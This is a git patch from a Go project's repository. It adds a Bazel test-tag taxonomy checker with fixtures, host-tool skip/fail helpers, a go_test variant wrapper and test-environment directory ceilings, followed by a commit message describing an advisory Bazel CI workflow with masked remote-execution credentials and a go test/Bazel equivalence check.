"ci_workflow_test.go", "complexity_script_test.go", "conformance_script_test.go", + "host_tools_test.go", "install_dolt_test.go", "pull_dolt_image_test.go", "release_script_test.go", "test_script_test.go", ], data = [ - "ci/install-dolt.sh", - "ci/pull-dolt-image.sh", + ":scripts_files", "//:bazel_policy_files", + "//:test_sh_files", "//:workflow_files", "//internal/testutil:testdoltcommon.go", "//tools/bazel:dolt.bzl", ], + tags = [ + "host-tools", + "no-remote-cache", + "no-remote-exec", + ], deps = [ "//internal/formula", "//internal/testutil/bazeltest", @@ -31,11 +51,30 @@ go_test( ], ) +# The scripts scripts_test reads and runs (CI helpers, check-*.sh, release.sh, +# test.sh, conformance.sh, ...). Globs stop at subpackages, so this is only +# this package's own tree. +filegroup( + name = "scripts_files", + srcs = glob( + ["**"], + exclude = [ + "BUILD.bazel", + "**/*_test.go", + ], + ), +) + exports_files( ["migration-test/release-catalog.json"], visibility = ["//scripts/migration-test/catalog:__pkg__"], ) +exports_files( + ["ci/fmt-check.sh"], + visibility = ["//scripts/prlintmake:__pkg__"], +) + exports_files( ["README.md"], visibility = ["//:__pkg__"], diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index b0247cd6d..a674583d5 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -663,3 +663,225 @@ func TestBazelNoPackagesUnderDocsTrees(t *testing.T) { } } } + +// --- test tag taxonomy --------------------------------------------------------- + +// allowedBazelTestTags is the tag taxonomy. A target with no tags is hermetic +// and runs everywhere (local, remote, PR). Every other tag must be one of +// these and must be justified in a comment right above the rule that uses it. +var allowedBazelTestTags = map[string]string{ + "requires-dolt": "uses the hermetic pinned dolt CLI (informational)", + "host-tools": "needs host tools (bash/git/make/jq/...) beyond the test wrapper's", + "no-remote-exec": "must run on the Bazel client's host, never on a remote worker", + "no-remote-cache": "result depends on the host, so it is neither read from nor uploaded to the remote cache", + "requires-docker": "needs a docker daemon; excluded from --config=prcore/ci, run by --config=docker", + "embedded": "embedded-Dolt tier variant; its own config", + "manual": "repro/bench harness; never part of //...", +} + +// bazelTagsRequiring maps tags whose targets depend on the host to the tags +// they must also carry: no-remote-exec, or remote execution would run them on a +// worker that lacks the tool or daemon; and for host-tools, no-remote-cache, +// because the action key does not cover the host's tool inventory, so a result +// produced on one host must not be served to another. (requires-docker +// targets fail rather than skip without their daemon, so their passes are +// safe to share.) +var bazelTagsRequiring = map[string][]string{ + "host-tools": {"no-remote-exec", "no-remote-cache"}, + "requires-docker": {"no-remote-exec"}, +} + +var ( + bazelTagsAttrRe = regexp.MustCompile(`\btags\s*=\s*`) + bazelTopRuleRe = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_.]*\(`) + bazelQuotedStrRe = regexp.MustCompile(`"([^"]*)"`) +) + +// checkBazelBuildTags checks every `tags = [...]` in one BUILD file: the list +// is a literal, each tag is in the taxonomy and is named in the comment block +// directly above its rule, and host-bound tags come with no-remote-exec. +func checkBazelBuildTags(name, build string) []error { + var errs []error + lines := strings.Split(build, "\n") + for _, loc := range bazelTagsAttrRe.FindAllStringIndex(build, -1) { + line := strings.Count(build[:loc[0]], "\n") + rest := build[loc[1]:] + if !strings.HasPrefix(rest, "[") { + errs = append(errs, errors.New(name+":"+strconv.Itoa(line+1)+": tags must be a literal list")) + continue + } + end := strings.Index(rest, "]") + if end < 0 { + errs = append(errs, errors.New(name+":"+strconv.Itoa(line+1)+": unterminated tags list")) + continue + } + // `tags = ["x"] + OTHER` is not a literal either: only a comma, the + // rule's closing paren or the end of the line may follow the list. + if after := strings.TrimLeft(rest[end+1:], " \t"); after != "" && !strings.ContainsAny(after[:1], ",)\n#") { + errs = append(errs, errors.New(name+":"+strconv.Itoa(line+1)+": tags must be a literal list")) + continue + } + var tags []string + for _, m := range bazelQuotedStrRe.FindAllStringSubmatch(rest[:end], -1) { + tags = append(tags, m[1]) + } + + // The rule is the nearest top-level call above; its justification is + // the contiguous comment block right above that. + start := line + for start > 0 && !bazelTopRuleRe.MatchString(lines[start]) { + start-- + } + var comment strings.Builder + for i := start - 1; i >= 0 && strings.HasPrefix(strings.TrimSpace(lines[i]), "#"); i-- { + comment.WriteString(lines[i]) + comment.WriteByte('\n') + } + where := name + ":" + strconv.Itoa(start+1) + + have := map[string]bool{} + for _, tag := range tags { + have[tag] = true + if _, ok := allowedBazelTestTags[tag]; !ok { + errs = append(errs, errors.New(where+": tag "+strconv.Quote(tag)+" is not in the taxonomy (allowedBazelTestTags)")) + continue + } + if !strings.Contains(comment.String(), tag) { + errs = append(errs, errors.New(where+": tag "+strconv.Quote(tag)+" is not justified in a comment directly above the rule")) + } + } + for _, tag := range tags { + for _, need := range bazelTagsRequiring[tag] { + if !have[need] { + errs = append(errs, errors.New(where+": tag "+strconv.Quote(tag)+" also requires "+need)) + } + } + } + } + return errs +} + +func TestBazelTestTagsFollowTaxonomy(t *testing.T) { + for name, good := range map[string]string{ + "docker": "# Tags:\n# requires-docker: needs a daemon.\n# no-remote-exec: the daemon is local.\n" + + "sh_test(\n name = \"x\",\n tags = [\n \"no-remote-exec\",\n \"requires-docker\",\n ],\n)\n", + "host-tools": "# host-tools, no-remote-exec, no-remote-cache: git.\n" + + "go_test(\n name = \"x\",\n tags = [\"host-tools\", \"no-remote-exec\", \"no-remote-cache\"], # why\n)\n", + } { + if errs := checkBazelBuildTags(name, good); len(errs) != 0 { + t.Errorf("%s: justified fixture rejected: %v", name, errs) + } + } + for name, build := range map[string]string{ + "unknown tag": "# flaky: why\ngo_test(\n name = \"x\",\n tags = [\"flaky\"],\n)\n", + "no comment": "go_test(\n name = \"x\",\n tags = [\"manual\"],\n)\n", + "comment too far": "# manual: harness\n\ngo_test(\n name = \"x\",\n tags = [\"manual\"],\n)\n", + "other rule's": "# manual: harness\ngo_test(name = \"a\", tags = [\"manual\"])\n\ngo_test(\n name = \"b\",\n tags = [\"manual\"],\n)\n", + "docker unpinned": "# requires-docker: daemon\ngo_test(\n name = \"x\",\n tags = [\"requires-docker\"],\n)\n", + "not a literal": "# manual\ngo_test(\n name = \"x\",\n tags = MANUAL,\n)\n", + "literal plus": "# manual\ngo_test(\n name = \"x\",\n tags = [\"manual\"] + MORE,\n)\n", + "host cacheable": "# host-tools no-remote-exec\ngo_test(\n name = \"x\",\n tags = [\"host-tools\", \"no-remote-exec\"],\n)\n", + "one-line rule": "go_test(name = \"x\", tags = [\"manual\"])\n", + } { + if errs := checkBazelBuildTags(name, build); len(errs) == 0 { + t.Errorf("%s: expected a tag policy error for fixture:\n%s", name, build) + } + } + + if os.Getenv("TEST_SRCDIR") != "" { + t.Skip("walks every BUILD file in the source checkout; runs under go test") + } + root := sourceRepoRoot(t) + pkgs, err := bazelPackagesUnder(root, ".") + if err != nil { + t.Fatalf("walk: %v", err) + } + if len(pkgs) == 0 { + t.Fatal("found no BUILD.bazel packages; the walk is broken") + } + for _, pkg := range append([]string{"."}, pkgs...) { + rel := filepath.ToSlash(filepath.Join(pkg, "BUILD.bazel")) + for _, err := range checkBazelBuildTags(rel, readPolicyFile(t, root, rel)) { + t.Error(err) + } + } +} + +// checkBazelrcPrcoreTagFilter requires --config=prcore to exclude the tags +// that never run in the PR-core lane. Every --test_tag_filters set by prcore or +// by a config that expands it (test:ci) is checked, since a later one would +// override the first. +func checkBazelrcPrcoreTagFilter(bazelrc string) error { + type option struct{ config, flag string } + var opts []option + for _, line := range strings.Split(bazelrc, "\n") { + fields := strings.Fields(line) + if len(fields) < 2 || strings.HasPrefix(fields[0], "#") { + continue + } + _, config, ok := strings.Cut(fields[0], ":") + if !ok { + continue + } + for i := 1; i < len(fields); i++ { + flag := fields[i] + if (flag == "--config" || flag == "--test_tag_filters") && i+1 < len(fields) { + i++ + flag += "=" + fields[i] + } + opts = append(opts, option{config, flag}) + } + } + + lane := map[string]bool{"prcore": true} + for grew := true; grew; { + grew = false + for _, o := range opts { + if !lane[o.config] && strings.HasPrefix(o.flag, "--config=") && lane[strings.TrimPrefix(o.flag, "--config=")] { + lane[o.config] = true + grew = true + } + } + } + + prcoreFilter := false + for _, o := range opts { + if !lane[o.config] || !strings.HasPrefix(o.flag, "--test_tag_filters=") { + continue + } + prcoreFilter = prcoreFilter || o.config == "prcore" + filters := map[string]bool{} + for _, f := range strings.Split(strings.TrimPrefix(o.flag, "--test_tag_filters="), ",") { + filters[f] = true + } + for _, tag := range []string{"requires-docker", "embedded", "manual"} { + if !filters["-"+tag] { + return errors.New(o.config + " --test_tag_filters does not exclude " + tag) + } + } + } + if !prcoreFilter { + return errors.New(".bazelrc has no test:prcore --test_tag_filters line") + } + return nil +} + +func TestBazelrcPrcoreExcludesNonPRTags(t *testing.T) { + if err := checkBazelrcPrcoreTagFilter(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc")); err != nil { + t.Fatal(err) + } + for name, rc := range map[string]string{ + "missing": "test:ci --keep_going\n", + "no docker": "test:prcore --test_tag_filters=-embedded,-manual\n", + "ci override": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n" + + "test:ci --config=prcore\ntest:ci --test_tag_filters=requires-docker\n", + "second prcore line": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n" + + "test:prcore --test_tag_filters=-manual\n", + "transitive": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n" + + "test:ci --config=prcore\nbuild:nightly --config ci --test_tag_filters=\n", + } { + if err := checkBazelrcPrcoreTagFilter(rc); err == nil { + t.Errorf("%s: expected an error for .bazelrc fixture:\n%s", name, rc) + } + } +} diff --git a/scripts/check_build_tags_test.go b/scripts/check_build_tags_test.go index 1ececfc31..e37c9cf25 100644 --- a/scripts/check_build_tags_test.go +++ b/scripts/check_build_tags_test.go @@ -17,12 +17,10 @@ func runCheckBuildTags(t *testing.T, files map[string]string) (string, error) { if runtime.GOOS == "windows" { t.Skip("checker is a Bash boundary") } - if _, err := exec.LookPath("git"); err != nil { - t.Skip("git not available") - } + requireHostTool(t, "git") // The checker needs bash >= 4 (mapfile); macOS ships bash 3.2 as /bin/bash. if err := exec.Command("bash", "-c", "type mapfile").Run(); err != nil { - t.Skip("bash lacks mapfile (bash >= 4 required)") + skipOrFailWithoutHostTool(t, "bash lacks mapfile (bash >= 4 required)") } script, err := os.ReadFile(filepath.Join(sourceRepoRoot(t), "scripts", "check-build-tags.sh")) if err != nil { diff --git a/scripts/check_testing_short_test.go b/scripts/check_testing_short_test.go index 40ef98810..10c7a7a96 100644 --- a/scripts/check_testing_short_test.go +++ b/scripts/check_testing_short_test.go @@ -70,6 +70,11 @@ func TestCheckTestingShortPassesOnCleanRepoTree(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("checker is a Bash boundary") } + if os.Getenv("TEST_SRCDIR") != "" { + // Under Bazel the tree is only this target's runfiles, so the scan + // would pass vacuously. make check-testing-short runs it in CI. + t.Skip("walks the whole source checkout; runs under go test") + } repo := sourceRepoRoot(t) cmd := exec.Command("bash", filepath.Join(repo, "scripts", "check-testing-short.sh")) cmd.Dir = repo diff --git a/scripts/complexity_script_test.go b/scripts/complexity_script_test.go index b856de530..62080e450 100644 --- a/scripts/complexity_script_test.go +++ b/scripts/complexity_script_test.go @@ -102,7 +102,7 @@ func TestComplexityScriptDiffReportsCrossingAndTrueDeletionOnly(t *testing.T) { // The phase file is an explicit head/base discriminator. This keeps the // fixture independent of checkout directory names and worktree layout. writeExecutable(t, fake, "#!/bin/sh\nif [ \"$(cat "+shellQuote(phase)+")\" = head ]; then\nprintf '%s\\n' '31 main Crossing cmd/cross.go:2:1' '10 main Drop cmd/drop.go:2:1'\nprintf '%s\\n' base >"+shellQuote(phase)+"\nelse\nprintf '%s\\n' '25 main Crossing cmd/cross.go:1:1' '58 main Drop cmd/drop.go:1:1' '40 main Gone cmd/gone.go:1:1' '12 main Quiet cmd/quiet.go:1:1'\nprintf '%s\\n' head >"+shellQuote(phase)+"\nfi\n") - out, err := runComplexityDiff(t, sourceRepoRoot(t), fake) + out, err := runComplexityDiff(t, complexityGitFixture(t), fake) if err != nil { t.Fatalf("diff failed: %v\n%s", err, out) } @@ -157,6 +157,48 @@ func runComplexityDiff(t *testing.T, repo, tool string) (string, error) { return string(data), err } +// complexityGitFixture returns a one-commit git repository holding +// scripts/ci/complexity.sh, for diff mode (which needs COMPLEXITY_BASE_REF to +// resolve). The fake analyzer ignores the tree, so the fixture needs no Go +// source beyond one placeholder; it keeps the test off the real checkout's history, which Bazel's +// runfiles tree does not have. +func complexityGitFixture(t *testing.T) string { + t.Helper() + requireHostTool(t, "git") + script, err := os.ReadFile(filepath.Join(sourceRepoRoot(t), "scripts", "ci", "complexity.sh")) + if err != nil { + t.Fatal(err) + } + repo := t.TempDir() + if err := os.MkdirAll(filepath.Join(repo, "scripts", "ci"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(repo, "scripts", "ci", "complexity.sh"), script, 0o755); err != nil { + t.Fatal(err) + } + // complexity.sh scans cmd/ etc.; an empty path list trips `set -u` on + // bash 3.2 (macOS), so give it one package like the real tree has. + if err := os.MkdirAll(filepath.Join(repo, "cmd"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(repo, "cmd", "cross.go"), []byte("package main\n"), 0o600); err != nil { + t.Fatal(err) + } + for _, args := range [][]string{ + {"init", "-q"}, + {"add", "-A"}, + {"-c", "user.name=beads-test", "-c", "user.email=test@beads.local", "-c", "commit.gpgsign=false", + "commit", "-q", "-m", "fixture"}, + } { + cmd := exec.Command("git", args...) + cmd.Dir = repo + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("git %v: %v\n%s", args, err, out) + } + } + return repo +} + func shellQuote(s string) string { return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'" } diff --git a/scripts/conformance_script_test.go b/scripts/conformance_script_test.go index 7b920e953..2bad6f56e 100644 --- a/scripts/conformance_script_test.go +++ b/scripts/conformance_script_test.go @@ -87,10 +87,7 @@ type conformanceRun struct { func runConformanceScript(t *testing.T, failCall, failExit int) conformanceRun { t.Helper() - bash, err := exec.LookPath("bash") - if err != nil { - t.Skipf("bash is required to test conformance.sh: %v", err) - } + bash := requireHostTool(t, "bash") bin := t.TempDir() stateDir := t.TempDir() diff --git a/scripts/host_tools_test.go b/scripts/host_tools_test.go new file mode 100644 index 000000000..76b0874d3 --- /dev/null +++ b/scripts/host_tools_test.go @@ -0,0 +1,32 @@ +package scripts_test + +import ( + "os/exec" + "testing" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" +) + +// skipOrFailWithoutHostTool handles a missing host tool. Under go test the +// test skips, as it always has. Under Bazel it fails: //scripts:scripts_test +// is tagged host-tools, which promises git, python3, bash and friends on the +// host that runs it, so a skip there would hide a host that breaks that promise +// behind a green result. +func skipOrFailWithoutHostTool(t *testing.T, format string, args ...any) { + t.Helper() + if bazeltest.IsBazel() { + t.Fatalf("host-tools target: "+format, args...) + } + t.Skipf(format, args...) +} + +// requireHostTool returns the path of a host tool, or skips/fails via +// skipOrFailWithoutHostTool when it is missing. +func requireHostTool(t *testing.T, name string) string { + t.Helper() + path, err := exec.LookPath(name) + if err != nil { + skipOrFailWithoutHostTool(t, "%s not available: %v", name, err) + } + return path +} diff --git a/scripts/install_dolt_test.go b/scripts/install_dolt_test.go index 14a828ceb..654632ec6 100644 --- a/scripts/install_dolt_test.go +++ b/scripts/install_dolt_test.go @@ -2,7 +2,6 @@ package scripts_test import ( "os" - "os/exec" "path/filepath" "runtime" "strconv" @@ -155,10 +154,7 @@ type installDoltRun struct { func runInstallDolt(t *testing.T, curlFailures int, reportedVersion string) installDoltRun { t.Helper() - bash, err := exec.LookPath("bash") - if err != nil { - t.Skipf("bash is required to test install-dolt.sh: %v", err) - } + bash := requireHostTool(t, "bash") bin := t.TempDir() stateDir := t.TempDir() diff --git a/scripts/prlintmake/BUILD.bazel b/scripts/prlintmake/BUILD.bazel index 813c6d873..fe68f5879 100644 --- a/scripts/prlintmake/BUILD.bazel +++ b/scripts/prlintmake/BUILD.bazel @@ -3,4 +3,6 @@ load("@rules_go//go:def.bzl", "go_test") go_test( name = "prlintmake_test", srcs = ["prlintmake_test.go"], + data = ["//scripts:ci/fmt-check.sh"], + deps = ["//internal/testutil/bazeltest"], ) diff --git a/scripts/prlintmake/prlintmake_test.go b/scripts/prlintmake/prlintmake_test.go index 0041f8df7..45e6bad3c 100644 --- a/scripts/prlintmake/prlintmake_test.go +++ b/scripts/prlintmake/prlintmake_test.go @@ -8,6 +8,8 @@ import ( "runtime" "strings" "testing" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) func TestFmtCheckClean(t *testing.T) { @@ -153,7 +155,9 @@ func sourceRepoRoot() string { if !ok { panic("runtime.Caller failed") } - return filepath.Dir(filepath.Dir(filepath.Dir(file))) + // Under Bazel the caller path is workspace-relative; CallerDir rebuilds it + // under the runfiles root, which holds the declared fmt-check.sh. + return filepath.Dir(filepath.Dir(bazeltest.CallerDir(file, "scripts/prlintmake"))) } func shellVisiblePath(path string) string { diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index eb17ce8d1..ce4107cc8 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -112,10 +112,7 @@ type pullDoltRun struct { func runPullDoltImage(t *testing.T, failures int) pullDoltRun { t.Helper() - bash, err := exec.LookPath("bash") - if err != nil { - t.Skipf("bash is required to test pull-dolt-image.sh: %v", err) - } + bash := requireHostTool(t, "bash") bin := t.TempDir() stateDir := t.TempDir() diff --git a/scripts/release_script_test.go b/scripts/release_script_test.go index 709649068..89a811de1 100644 --- a/scripts/release_script_test.go +++ b/scripts/release_script_test.go @@ -85,6 +85,7 @@ echo '{"source":"/tmp/stale.formula.toml"}' } func TestReleaseFormulaCleanupStaleDoltOrphansHandlesLocalModeWithoutJQ(t *testing.T) { + skipReleaseFormulaUnderBazel(t) repoRoot := sourceRepoRoot(t) formulaPath := filepath.Join(repoRoot, ".beads", "formulas", "beads-release.formula.toml") if _, err := formula.NewParser().ParseFile(formulaPath); err != nil { @@ -118,6 +119,7 @@ func TestReleaseFormulaCleanupStaleDoltOrphansHandlesLocalModeWithoutJQ(t *testi } func TestReleaseFormulaHomebrewCoreProcedureCoversTemplateAndBottles(t *testing.T) { + skipReleaseFormulaUnderBazel(t) repoRoot := sourceRepoRoot(t) formulaPath := filepath.Join(repoRoot, ".beads", "formulas", "beads-release.formula.toml") if _, err := formula.NewParser().ParseFile(formulaPath); err != nil { @@ -204,6 +206,17 @@ func releaseTestTempDir(t *testing.T) string { return t.TempDir() } +// skipReleaseFormulaUnderBazel skips tests that read +// .beads/formulas/beads-release.formula.toml under Bazel: .beads holds live +// Dolt data and is in .bazelignore, so no target can declare the formula. +// These tests run under `go test`. +func skipReleaseFormulaUnderBazel(t *testing.T) { + t.Helper() + if bazeltest.IsBazel() { + t.Skip(".beads/ is in .bazelignore, so the release formula cannot be declared as data; runs under go test") + } +} + func sourceRepoRoot(t *testing.T) string { t.Helper() _, file, _, ok := runtime.Caller(0) diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index cb7603069..9d7afb436 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -18,6 +18,13 @@ exports_files( visibility = ["//scripts:__pkg__"], ) +# sh_test src for a second test target over an existing go_test binary (see +# the script header), e.g. //cmd/bd/doctor/fix:fix_docker_test. +exports_files( + ["go_test_variant.sh"], + visibility = ["//visibility:public"], +) + # Wraps every test process (`test --run_under` in .bazelrc) with the isolated # HOME/XDG/Dolt/git environment that scripts/ci/lib/test-env.sh gives `go test`. # Bazel merges the run_under target's runfiles into every test's runfiles, so diff --git a/tools/bazel/go_test_variant.sh b/tools/bazel/go_test_variant.sh new file mode 100755 index 000000000..80bb135c9 --- /dev/null +++ b/tools/bazel/go_test_variant.sh @@ -0,0 +1,18 @@ +#!/usr/bin/env bash +# Runs an existing go_test binary as another test target, so a package can be +# tested a second way (different env, tags, or lane) without compiling it +# again. The first argument is the binary's runfiles path ($(rootpath ...), +# relative to the workspace runfiles directory, which is the test's working +# directory); the rest, plus any --test_arg, go to the binary unchanged. +# +# Sharding, XML output and timeouts pass through (the binary reads Bazel's +# TEST_* environment). What does NOT pass through is the go_test's own +# RunEnvironmentInfo: rules_go sets GO_TEST_RUN_FROM_BAZEL=1, which this script +# exports so the binary still changes into its package directory, and the +# go_test's `env` attribute, which the variant target must repeat in its own +# `env` (with the referenced targets in its `data`). +set -euo pipefail +bin="$1" +shift +export GO_TEST_RUN_FROM_BAZEL=1 +exec "./$bin" "$@" diff --git a/tools/bazel/test_env.sh b/tools/bazel/test_env.sh index 34059450b..fec7b5313 100755 --- a/tools/bazel/test_env.sh +++ b/tools/bazel/test_env.sh @@ -37,6 +37,28 @@ export GIT_CONFIG_GLOBAL="$root/gitconfig" export TMPDIR="$root/tmp" export BEADS_TEST_IGNORE_REPO_CONFIG=1 +# Discovery ceilings. bd walks up from its working directory for .beads and +# .beads/config.yaml, and git walks up for a repository. A test's working +# directory is in the runfiles tree under the output base, which is usually +# below the developer's HOME, so an unbounded walk would read and write their +# real ~/.beads (and a host config would decide test results). Every walk stops +# below the runfiles root, TEST_TMPDIR and this wrapper's root; a test's own +# directories under them stay discoverable. Relying on the ceiling rather than +# failing on an ancestor .beads is deliberate: a live ~/.beads above the output +# base is normal on a developer machine. +ceilings="" +for d in "${TEST_SRCDIR:-}" "${TEST_TMPDIR:-}" "$root"; do + if [[ -n "$d" && -d "$d" ]]; then + ceilings="${ceilings:+$ceilings:}$(cd "$d" && pwd -P)" + fi +done +export BEADS_CEILING_DIRECTORIES="$ceilings" +export GIT_CEILING_DIRECTORIES="$ceilings" +# The migration-freeze marker walk is deliberately not bounded by the ceiling; +# point it at a path that never exists so a MIGRATION-FREEZE file above the +# output base cannot make write commands refuse inside tests. +export BD_MIGRATION_FREEZE_FILE="$root/no-freeze-marker" + # Same scrub as beads_test_env_enter; `--test_env=NAME` on a command line must # not be able to point a test at a live workspace or Dolt server. unset BEADS_DIR BEADS_DB BD_DB BD_JSON BD_NO_DB BD_NO_DAEMON BD_ACTOR \ From 6da2a43477e966483969c13431ea759e3d056e53 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 27 Sep 2026 23:05:21 -0700 Subject: [PATCH 169/624] ci(bazel): advisory Bazel workflow + go test/Bazel equivalence check (#6881) * ci(bazel): add advisory Bazel workflow and setup-bazel action Add .github/workflows/bazel.yml, a side-by-side lane that runs `bazel test //... --config=ci` (PR Core parity) on pull_request, merge_group, push to main and workflow_dispatch. It is advisory: not in ci-gate's CI_GATE_REQUIRED. .github/actions/setup-bazel installs a sha256-pinned Bazelisk (Bazel from .bazelversion), restores the runner cache (--disk_cache and --repository_cache only), and writes a CI bazelrc outside the workspace and outside the cached directory. Remote execution is enabled only when BAZEL_REMOTE_EXECUTOR, RBE_TLS_CERT and RBE_TLS_KEY are all set (base64 PEM cert/key; optional RBE_TLS_CA, RBE_INSTANCE); none set (fork PRs, or workflow_dispatch rbe=off) runs locally; a partial set fails. The endpoint and its bare host are masked. The rc logic lives in write-bazelrc.sh so it is testable offline. The runner cache is saved only by push-to-main runs under a run-unique key and restored by prefix, so it never freezes at its first save and PRs do not churn the quota. The job also reports the tier (T1/T2/local) and wall time in the step summary, runs tools/bazel/critpath.py against the profile, and checks BUILD drift with make bazel-sync-check plus make bazel-sync and a clean git status. tools/bazel/critpath.py reports the critical path as the sum of the chained "critical path component" events rather than the longest one (a cold race build: 395s over 75 components, where the single-component version printed 69s and a false scheduling gap), lists the longest members and Bazel's processes: cache line, and checks a report-only budget (warning annotation, exit 0) unless --enforce is given. scripts/ci_workflow_test.go covers the new lane: not wired into any gate, every action SHA-pinned to the repo's released SHAs, no monolithic actions/cache, no unbounded apt-get, the cache topology, secrets only reaching setup-bazel, --profile after `test`, and the rc writer's none/partial/full/invalid-PEM/secret-dir-in-workspace behaviour. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): check go test / Bazel test equivalence in the Bazel lane tools/bazel/equivalence.py compares the Go tests `bazel test //... --config=ci` ran with the ones pr.yml's go test lanes run, so a tag filter, a stray manual tag, a package without a go_test target, or a shard that runs zero tests cannot shrink the Bazel lane while it stays green: - package set: every package `go list -race -tags gms_pure_go` reports with test files has a go_test target (bazel query); - test-name set: every top-level TestXxx in the files go list selects (minus ^TestEmbedded, as PR Core skips) appears as a testcase in the test.xml of a go_test target this invocation tested (from the BEP); runtime skips count as run. Tests Bazel ran that go test would not are divergences too. Expected differences go in tools/bazel/equivalence_allowlist.txt, one justified line each (empty today); unused entries are reported. Results go to the step summary; the full listing with --details. .bazelrc test:ci now sets GO_TEST_WRAP_TESTV=1 (rules_go lists passing tests in test.xml only under -test.v) and downloads test.xml despite --remote_download_minimal. The Bazel workflow runs the check after the critical-path report, and nightly.yml calls the workflow (suite "bazel", and on schedule) with the full listing. Verified locally against a remote --config=ci run: 103 packages and 8843 tests on both sides. Tagging //internal/gitignore:gitignore_test manual keeps `bazel test` green but fails the check, listing its two tests. Co-Authored-By: Claude Opus 5.5 (1M context) * test(fs): run RepoContextAndRole from its own git repo The test relied on its working directory being inside a git checkout to make BEADS_DIR external to the CWD repo. Under Bazel the working directory is the runfiles tree, not a git repository, so RepoContext failed with "not a git repository" and the test skipped itself. Create a second temporary repo and chdir into it instead; go test keeps passing and Bazel now runs the assertions. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(bazel): fail equivalence on tests Bazel skips but go test passes The equivalence docstring claimed runtime skips count as run because go test skips them the same way. It does not: against PR Core's go test -json on the same commit, 11 tests passed under go test and skipped under Bazel while the check printed ok with an empty allowlist. - equivalence.py --go-test-json compares per-test status with the Bazel test.xml: passed under go test and skipped under Bazel is a divergence; other status differences are listed, not failed. The in-job (PR) run cannot see skip divergences and says so. - The allowlist gains a `skip` kind (` skip # why`, the justification still mandatory) and lists the 10 intentional skips: cmd/bd TestGOMODCACHENotUnderTestHome and TestZZStdioNotLeaked, and the scripts policy tests that walk the source checkout. The eleventh, fs TestContextRepository_RepoContextAndRole, is fixed in the test. - scripts/ci/pr-core.sh writes `go test -json` to BEADS_PR_CORE_GO_TEST_JSON when set (same flags otherwise). - nightly.yml runs that in a new job, uploads the JSON, and calls bazel.yml with go-test-json-artifact, which downloads it and passes --go-test-json to the equivalence step. Verified on a remote `bazel test //... --config=ci` run: ok with the allowlist; a TEST_SRCDIR-only t.Skip injected into internal/gitignore TestAppendLines fails the check (and passes the name-only in-job check, as documented). Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): freeze the runner cache per lock, mask key material, tighten policy Runner cache: every push to main saved ~2.3 GB (repository cache, disk cache, Bazelisk) under a run-unique key, on a repo already over its Actions cache quota. The cache now holds only the repository cache and Bazelisk, whose content is fixed by .bazelversion and MODULE.bazel.lock: exact key bazel-repo-v2--, restore falls back to the previous lock's entry, and only a push to main that missed the key saves. No --disk_cache in either mode (remote runs have the remote cache; local runs never used it). About 2 GB per lock change. Credentials: - write-bazelrc.sh masks every non-armor line of each decoded PEM (cert, key, CA). GitHub only masks the base64 value as stored. The CA used to be decoded inside the rc redirect, so its mask commands would have gone into the rc; it is decoded first now. - The CI rc sets build:remote-exec --noremote_upload_local_results, so CI never writes locally executed (PR-code) results into the shared action cache. Developer rcs keep Bazel's default. - RBE_INSTANCE stays optional; an empty one is a ::warning. - bazel.yml's header states the accepted risk: same-repo PR code runs with the RBE client certificate (as in gascity); forks never get it; what is in place and what is pending a human decision. Policy tests (each proved with a scratch mutation that now fails): triggers must be exactly pull_request, merge_group, push, workflow_dispatch and workflow_call (no pull_request_target); secrets may appear only in the setup-bazel step's env, not in workflow or job env, run, with or if; no continue-on-error anywhere in bazel.yml or setup-bazel; the cache-save if is matched exactly; the critical-path and equivalence steps must end with the bare script call and the test step with exit "$rc", with no exit 0, || true, || :, ; true, set +e or trap. Co-Authored-By: Claude Opus 5.5 (1M context) * docs(ci): record the same-repo RBE decision in bazel.yml Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): bazel wrapper version check; keep go-test prose out of the build-tag scan The wrapper prepends --bazelrc, so 'bazel --version' reached the server as an unknown startup option; ask bazelisk directly. check-build-tags matched 'go test' in workflow prose and step names. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): run the RBE lane on Blacksmith runners; mask the executor's IPs GitHub-hosted runners are refused by the remote-execution edge; the Blacksmith pool (as in gascity) is admitted and does not count against GitHub's concurrent-job cap. Forks and rbe=off keep ubuntu-latest. Bazel prints the resolved executor address in connection errors, so mask every address the endpoint host resolves to. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): target rbe-west (instance oss) behind RBE_WEST_WORKERS The original edge does not admit CI runners. Mirror gascity: remote execution uses secrets.RBE_WEST_EXECUTOR and instance oss when the repo variable RBE_WEST_WORKERS is true; same-repo runs are skipped until then instead of failing, while forks and rbe=off still run locally. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 6 + .github/actions/setup-bazel/action.yml | 70 +++ .github/actions/setup-bazel/write-bazelrc.sh | 152 ++++++ .github/workflows/bazel.yml | 250 +++++++++ .github/workflows/nightly.yml | 66 ++- internal/storage/domain/fs/context_test.go | 9 + scripts/ci/pr-core.sh | 12 +- scripts/ci_workflow_test.go | 521 +++++++++++++++++++ tools/bazel/critpath.py | 175 +++++++ tools/bazel/equivalence.py | 388 ++++++++++++++ tools/bazel/equivalence_allowlist.txt | 31 ++ 11 files changed, 1678 insertions(+), 2 deletions(-) create mode 100644 